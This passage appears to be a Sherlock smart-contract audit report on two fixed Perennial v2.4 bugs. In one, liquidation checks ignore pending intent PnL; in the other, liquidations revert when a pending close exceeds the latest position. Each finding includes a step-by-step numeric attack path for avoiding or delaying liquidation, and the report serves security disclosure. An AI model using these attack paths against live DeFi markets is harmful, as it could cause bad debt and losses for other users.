https://github.com/sherlock-audit/2025-01-perennial-v2-4-update-judging/issues/29

Found by

panprog

Summary

When user trades using signed intents, pending order is created using the price specified by the user. Upon settlement, there is some pnl realized due to difference of intent price and market price. The issue is that this difference is added to account only when checking margin to add pending order, but when protection (liquidation) is validated, collateral doesn't include pending intent's pnl from the difference of intent and market price. As such, user can be unfairly liquidated if price moves against him but he has enough collateral (with pnl from pending intent orders). If there is a loss from intent price difference, then this loss is not added when checking liquidation either, thus liquidation will revert as if account is healthy.

Root Cause

When protection is validated, only account's collateral is checked in `InvariantLib.validate`: https://github.com/sherlock-audit/2025-01-perennial-v2-4-update/blob/main/perennial-v2/packages/core/contracts/libs/InvariantLib.sol#L127

Note that when position is opened, intent price adjustment is added to account's collateral: https://github.com/sherlock-audit/2025-01-perennial-v2-4-update/blob/main/perennial-v2/packages/core/contracts/libs/InvariantLib.sol#L92

Internal Pre-conditions

- User account is close to liquidation
- Position is opened or closed via Intent with intent price far enough from the latest oracle price (far enough - meaning the difference in price can make account safe)
- Price moves against the user

External Pre-conditions

None.

Attack Path

Happens by itself (unfair user liquidation) or can be crafted by the user (avoid liquidation).

- Margin ratio is 0.5%, maintenence ratio is 0.3%
- Trading fee is 0.1%
- User has `collateral = 350` and settled position of `long = 1000` at the latest oracle price of `100` (account margin ratio is `350 / (1000 * 100) = 0.35%`, very close to liquidation, but still healthy)
- User signs intent to partially close position of the size `500` at the price of `101`.
- The intent is sent on-chain and user now has pending position of `long = 500`. His additional profit from the intent price is `500 * (101 - 100) = 500`.
- Liquidator commits unrequested price of `99.9`
- User's collateral is now `350 + 1000 * (99.9 - 100) = 250`, however since the intent is guaranteed to be executed at the price of `101`, his additional profit from the intent makes the expected margin ratio for liquidation reason = `(250 + 500) / (1000 * 100) = 0.75%`, so account should be safe.
- However, liquidator immediately liquidates user account, because this additional profit from the intent is ignored.
- Besides liquidation fee, upon settlement, user pays fees to close the position from liquidation, which is `500 * 100 * 0.1% = 50`, so the final user collateral is 700 instead of 750.
- User was unfairly liquidated (as his account was healthy) and user has lost `50 / 750 = 6.7%` of his funds.

Impact

- User can be unfairly and unexpectedly liquidated and lose 1%+ of his funds (because this happens only to users with low collateral and the pnl from intent price difference will mostly be small enough, the user loss relative to collateral will be above 1%).

Mitigation

Calculate sum of price adjustments for all pending guarantees (from latest + 1 to current), and add it to collateral when validating if account can be protected (liquidated).

Additionally, since intent updates are guaranteed and can not be invalidated, consider adding intent position updates to latest position when calculating the account health for liquidation reasons to make more fair liquidations. For example, when position is closed using intent (as in the example in the Attack Path):

- latest = 1000
- pending (intent) = -500 Use position of size (1000 - 500 = 500) to calculate health when liquidating, so min collateral should be below 150 instead of 300 to be able to liquidate the account.

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/equilibria-xyz/perennial-v2/pull/565

Issue M-3: Liquidations are temporarily blocked if user's pending position close amount is greater than the latest position size.

Source:
https://github.com/sherlock-audit/2025-01-perennial-v2-4-update-judging/issues/33

Found by

panprog

Summary

A new feature in v2.4 is guaranteed position change via Intents: since the price is provided in Intent itself, it doesn't need corresponding epoch oracle price to be valid. This makes it possible to close positions even when position opening in still pending (if all orders are from Intents), as such pending negative (pending position closure) is allowed to be greater than latest position size for intent orders:

```
if (
    context.pendingLocal.invalidation != 0 &&                          //
↪   pending orders are partially invalidatable
    context.pendingLocal.neg().gt(context.latestPositionLocal.magnitude()) // total
↪   pending close is greater than latest position
) revert IMarket.MarketOverCloseError();
```

The issue is that liquidation order is always a "normal" order (invalidation == 1), thus this condition is always enforced for liquidations. However, if pending negative is already greater than latest position magnitude, it's impossible to create liquidation order which will satisfy this condition (order can only increase pending negative and can't influence latest position). In such situations liquidations will temporarily be impossible until some pending order becomes commited and the condition can be satisfied.

Root Cause

Incorrect validation for protected orders in case `pendingLocal.neg > latestPosition.magnitude()`:
https://github.com/sherlock-audit/2025-01-perennial-v2-4-update/blob/main/perennial-v2/packages/core/contracts/libs/InvariantLib.sol#L118-L122

Notice, that there is a special handling for the case of crossing zero (when pending order closes long and opens short or vice versa): in such case liquidation order must be empty (since crossing zero is prohibited for non-empty non-intent orders). But there is no such handling for the case of large pending position closure.

Internal pre-conditions

- User has more pending close than latest position at the last commited oracle price (for example, user fully closes long position, then opens long again, then closes again).

External pre-conditions

None.

Attack Path

1. User has some position open (for example, `long = 10`)
2. User uses Intent to fully close position
3. Shortly after that (order to close still pending) user uses Intent to open position again (for example, `long = 10`).
4. Then immediately user uses Intent again to partially close position of `size = 1`
5. Shortly after that (all user orders are still pending) the price sharply drops and user becomes liquidatable.
6. At this time, user's latest position = 10, pending positive (open) = 10, pending negative (close) = 11.
7. All liquidations will revert, because regardless of liquidation order size, pending negative will remain greater than latest position (10).
8. Once pending order to close is settled, liquidation is possible again, but might be too late as user might already accumulate bad debt.

Result: User can not be liquidated in time and is liquidated much later, when his position is already in bad debt, which is a funds loss for all market users or a risk of a bank run as the last to withdraw won't have enough funds in the market to pay out.

Impact

All liquidation attempts revert although the user should be liquidatable, thus liquidation happens later than it should, potentially creating bad debt and loss of funds for all market users.

Mitigation

Similar to crossing zero, include special check when liquidating - and if pending negative is greater than latest position, require liquidation order to be empty.

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/equilibria-xyz/perennial-v2/pull/567

Disclaimers

Sherlock does not provide guarantees nor warranties relating to the security of the project.

Usage of all smart contract software is at the respective users’ sole risk and is the users’ responsibility.